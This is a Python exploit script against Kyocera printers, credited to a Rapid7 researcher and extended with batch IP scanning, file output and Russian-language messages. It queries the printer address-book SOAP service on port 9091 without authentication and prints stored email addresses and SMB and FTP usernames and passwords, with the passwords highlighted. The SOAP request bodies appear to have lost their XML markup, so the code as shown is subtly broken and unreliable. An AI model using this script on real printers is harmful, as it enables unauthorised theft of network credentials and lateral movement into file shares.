"""
Kyocera printer exploit
Extracts sensitive data stored in the printer address book, unauthenticated, including:
*email addresses
*SMB file share credentials used to write scan jobs to a network fileshare
*FTP credentials
Author: Aaron Herndon, @ac3lives (Rapid7)
Date: 11/12/2021
Tested versions:
* ECOSYS M2640idw
* TASKalfa 406ci
*
Usage:
python3 getKyoceraCreds.py printerip
"""
import argparse
import re
import sys
import time
import warnings
from typing import Dict, Iterable, List, Optional, Sequence
import requests
import xmltodict
warnings.filterwarnings("ignore")
class Reporter:
def __init__(self, file_path: Optional[str] = None):
self.file = None
self._ansi_re = re.compile(r"\x1b\[[0-9;]*m")
if file_path:
self.file = open(file_path, "w", encoding="utf-8")
def write(self, message: str = "") -> None:
print(message)
if self.file:
cleaned = self._ansi_re.sub("", message)
self.file.write(cleaned + "\n")
self.file.flush()
def close(self) -> None:
if self.file:
self.file.close()
def __enter__(self):
return self
def __exit__(self, exc_type, exc_val, exc_tb):
self.close()
def parse_ip_input(values: Sequence[str]) -> List[str]:
ips: List[str] = []
for value in values:
for ip in value.split(","):
cleaned = ip.strip()
if cleaned:
ips.append(cleaned)
return ips
def load_ips_from_file(path: str) -> List[str]:
with open(path, "r", encoding="utf-8") as f:
lines = [line.strip() for line in f if line.strip() and not line.strip().startswith("#")]
return parse_ip_input(lines)
def build_request_body(action: str, payload: str) -> str:
return (
""
""
""
f"{action}"
""
f"{payload}"
""
)
def request_enumeration(url: str, headers: Dict[str, str]) -> str:
body = build_request_body(
"http://www.kyoceramita.com/ws/km-wsdl/setting/address_book/create_personal_address_enumeration",
"25",
)
response = requests.post(url, data=body, headers=headers, verify=False)
parsed = xmltodict.parse(response.content.decode("utf-8"))
return (
parsed["SOAP-ENV:Envelope"]["SOAP-ENV:Body"][
"kmaddrbook:create_personal_address_enumerationResponse"
]["kmaddrbook:enumeration"]
)
def request_address_list(url: str, headers: Dict[str, str], enumeration: str):
body = build_request_body(
"http://www.kyoceramita.com/ws/km-wsdl/setting/address_book/get_personal_address_list",
f"{enumeration}",
)
response = requests.post(url, data=body, headers=headers, verify=False)
return xmltodict.parse(response.content.decode("utf-8"))
def find_credential_entries(data) -> List[Dict[str, str]]:
entries: List[Dict[str, str]] = []
def walk(obj):
if isinstance(obj, dict):
keys = set(obj.keys())
if keys & {"login_name", "login_password", "email_address", "emailaddress"}:
entries.append(obj)
for value in obj.values():
walk(value)
elif isinstance(obj, list):
for item in obj:
walk(item)
walk(data)
return entries
def _ensure_list(value):
if value is None:
return []
if isinstance(value, list):
return value
return [value]
def parse_personal_addresses(body: Dict) -> List[Dict[str, str]]:
response = body.get("kmaddrbook:get_personal_address_listResponse", {})
personal = _ensure_list(response.get("kmaddrbook:personal_address"))
parsed: List[Dict[str, str]] = []
for item in personal:
name_info = item.get("kmaddrbook:name_information", {})
email_info = item.get("kmaddrbook:email_information", {})
ftp_info = item.get("kmaddrbook:ftp_information", {})
smb_info = item.get("kmaddrbook:smb_information", {})
parsed.append(
{
"id": name_info.get("kmaddrbook:id"),
"name": name_info.get("kmaddrbook:name"),
"furigana": name_info.get("kmaddrbook:furigana"),
"email": email_info.get("kmaddrbook:address"),
"ftp_server": ftp_info.get("kmaddrbook:server_name"),
"ftp_port": ftp_info.get("kmaddrbook:port_number"),
"ftp_login": ftp_info.get("kmaddrbook:login_name")
or ftp_info.get("kmaddrbook:user_name"),
"ftp_password": ftp_info.get("kmaddrbook:login_password"),
"smb_server": smb_info.get("kmaddrbook:server_name"),
"smb_port": smb_info.get("kmaddrbook:port_number"),
"smb_login": smb_info.get("kmaddrbook:login_name"),
"smb_password": smb_info.get("kmaddrbook:login_password"),
}
)
return parsed
def _highlight_password(value: str) -> str:
if value is None:
return ""
is_terminal = sys.stdout.isatty()
prefix = "\033[91m" if is_terminal else ""
suffix = "\033[0m" if is_terminal else ""
return f"{prefix}!! ПАРОЛЬ: {value} !!{suffix}"
def _format_value(label: str, value: Optional[str]) -> Optional[str]:
if value in (None, ""):
return None
if "пароль" in label.lower() or "password" in label.lower():
return _highlight_password(value)
return str(value)
def display_address_book(addresses: Iterable[Dict[str, str]], reporter: Reporter) -> None:
for idx, entry in enumerate(addresses, start=1):
reporter.write(f" Контакт {idx}:")
for label, key in [
("ID", "id"),
("Имя", "name"),
("Фуригана", "furigana"),
("Email", "email"),
("FTP сервер", "ftp_server"),
("FTP порт", "ftp_port"),
("FTP логин", "ftp_login"),
("FTP пароль", "ftp_password"),
("SMB сервер", "smb_server"),
("SMB порт", "smb_port"),
("SMB логин", "smb_login"),
("SMB пароль", "smb_password"),
]:
formatted = _format_value(label, entry.get(key))
if formatted:
reporter.write(f" {label}: {formatted}")
reporter.write()
def display_entries(entries: Iterable[Dict[str, str]], reporter: Reporter) -> None:
for idx, entry in enumerate(entries, start=1):
reporter.write(f" Запись {idx}:")
for key, value in entry.items():
if isinstance(value, (dict, list)):
continue
formatted = _format_value(key, value)
if formatted:
reporter.write(f" {key}: {formatted}")
reporter.write()
def process_printer(ip: str, reporter: Reporter) -> None:
url = f"https://{ip}:9091/ws/km-wsdl/setting/address_book"
headers = {"content-type": "application/soap+xml"}
try:
enumeration = request_enumeration(url, headers)
except Exception as exc: # noqa: BLE001
reporter.write(f"[!] Не удалось получить объект адресной книги с {ip}: {exc}")
return
reporter.write(f"[*] Получен объект адресной книги {enumeration} от {ip}. Ожидание заполнения...")
time.sleep(5)
reporter.write("[*] Запрашиваем адресную книгу...")
try:
parsed_response = request_address_list(url, headers, enumeration)
except Exception as exc: # noqa: BLE001
reporter.write(f"[!] Не удалось получить адресную книгу с {ip}: {exc}")
return
body = parsed_response.get("SOAP-ENV:Envelope", {}).get("SOAP-ENV:Body", {})
entries = find_credential_entries(body)
if entries:
reporter.write(f"[*] Найдено записей с учетными данными: {len(entries)}")
display_entries(entries, reporter)
else:
addresses = parse_personal_addresses(body)
if addresses:
reporter.write("[!] Явные учетные данные не найдены. Распарсенные записи адресной книги:")
display_address_book(addresses, reporter)
else:
reporter.write("[!] Не найдено ни учетных данных, ни записей адресной книги. Полный ответ:")
reporter.write(str(body))
def main(argv: Sequence[str]) -> None:
parser = argparse.ArgumentParser(
description="Извлечение адресной книги Kyocera без аутентификации",
formatter_class=argparse.ArgumentDefaultsHelpFormatter,
)
parser.add_argument("ips", nargs="*", help="IP-адреса (через пробел или запятую)")
parser.add_argument(
"-i",
"--ip",
dest="extra_ips",
action="append",
default=[],
help="Дополнительные IP-адреса (можно перечислять через запятую)",
)
parser.add_argument(
"-f",
"--file",
dest="file",
help="Путь к файлу с IP-адресами (один в строке, можно через запятую)",
)
parser.add_argument(
"-o",
"--output",
dest="output",
help="Путь к файлу для сохранения результатов",
)
args = parser.parse_args(argv)
ips: List[str] = []
if args.file:
ips.extend(load_ips_from_file(args.file))
ips.extend(parse_ip_input(args.ips))
ips.extend(parse_ip_input(args.extra_ips))
if not ips:
print("Необходимо указать хотя бы один IP-адрес (через аргумент, запятую или файл)")
sys.exit(1)
unique_ips = list(dict.fromkeys(ips))
total = len(unique_ips)
with Reporter(args.output) as reporter:
for index, ip in enumerate(unique_ips, start=1):
reporter.write(f"\n[{index}/{total}] Обработка {ip}")
process_printer(ip, reporter)
if __name__ == "__main__":
main(sys.argv[1:])